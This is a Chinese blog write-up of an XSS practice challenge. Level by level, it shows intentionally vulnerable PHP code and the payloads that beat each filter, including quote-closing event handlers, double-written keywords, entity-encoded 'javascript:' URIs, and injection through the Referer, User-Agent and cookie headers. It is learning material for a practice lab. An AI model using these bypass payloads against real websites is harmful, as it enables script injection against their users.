XSS闯关小游戏

2020-04-29 142次浏览 0条评论  前往评论

前言


练习一下xss。平台地址为:传送门

level1


没有任何过滤,直接给name传值,payload:

<script>alert(/xss/)</script>

image-20200429170941592

源代码:

$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";

level2


源码:

$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name=keyword  value="'.$str.'">

h2标签被htmlspecialchars函数转义了,导致无法执行xss。

但是发现有input框,这里使用闭合双引号就可以正常弹窗。

payload:

"><script>alert(/xss/)</script>
" onclick="alert(/xss/)
" onclick=alert(/xss/)>
" onmouseover=alert(/xss/)>
"><a href=javascript:alert(/xss/)>go</a>

level3


源代码:

$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<input name=keyword  value='".htmlspecialchars($str)."'>

这里两个地方都转义了,<>会被转义。闭合单引号,使用事件弹窗。

payload:

' onclick=alert(/xss/)//
' onclick='alert(/xss/)

level4


源代码:

$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name=keyword  value="'.$str3.'">

可以看到尖括号被替换为空了。

onfocus事件:定义的事件将在对象获得焦点时触发,auto自动获得焦点。

payload:

" onclick="alert(/xss/)
" onfocus=alert(/xss/) autofocus="

level5


源代码:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name=keyword  value="'.$str3.'">

可以看到on<script中间插入了_。而且使用了strtolower这个函数导致大小写绕过行不通。但是没有过滤<>。

payload:

"><a href=javascript:alert(/xss/)>go</a>

level6


源代码:

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name=keyword  value="'.$str6.'">

可以看到scriptonsrcdatahref中间插入了_,但是并没有过滤大小写。

payload:

"><Script>alert(/xss/)</script>
"><img Src=x OnError=alert(/xss/)>
" Onclick="alert(/xss/)

level7


源代码:

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name=keyword  value="'.$str6.'">

可以看到过滤了scriptonsrcdatahref替换为空,并且过滤了大小写,尝试双写绕过。

payload:

"><sscriptcript>alert(/xss/)</sscriptcript>
" oonnmouseover="alert(/xss/)

level8


源代码:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
<input name=keyword  value="'.htmlspecialchars($str).'">
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';

可以看到scriptonsrcdatahref中间插入了_,并且过滤了大小写。在href中"被转换为html实体,可以使用编码代替绕过。

payload:

Javascrip&#x74;:alert(/xss/)
Javasc&#114;ipt:alert(/xss/)
Javasc&#x0072;ipt:alert(/xss/)

level9


源代码:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
<input name=keyword  value="'.htmlspecialchars($str).'">
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

过滤的东西都和第八关一样,多了一个检测http://而已

payload:

Javascrip&#x74;:alert(/xss/) //http://
Javascrip&#x74;:%0ahttp://%0aalert(/xss/)
Javascrip&#x74;:%0dhttp://%0dalert(/xss/)

level10


源代码:

$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>

可以看到只有t_sort被赋值了。

payload:

?t_sort="type="text" onclick="alert(/xss/)

level11


源代码:

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>

发现keywordt_sort这两个参数都被htmlspecialchars

t_ref是refer头,过滤了尖括号。截包改refer头即可。

image-20200429203051769

payload:

referer:"type="text" onclick="alert(/xss/)

level12


源代码:

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>

和11关类似:

image-20200429203527694

payload:

User-Agent:"type="text" onclick="alert(/xss/)

level13


源代码:

setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>

和前两关差不多,传cookie进user变量。

image-20200429204317830

payload:

user=" onclick=alert(/xss/) type="button"

level16


源代码:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);
echo "<center>".$str5."</center>";

空格被过滤了

payload:

?keyword=<img%0dsrc=1%0donerror=alert(1)>

level17


源代码:

echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

payload:

?arg01=a&arg02= onclick=alert(/xss/)

level19


源代码:

echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>

这一关是flash xss。这种xss比较少见,具体详情:传送门

paylaod:

?arg01=version&arg02=<a href= "javascript:alert(document.domain)">xss</a>



登录后回复

共有0条评论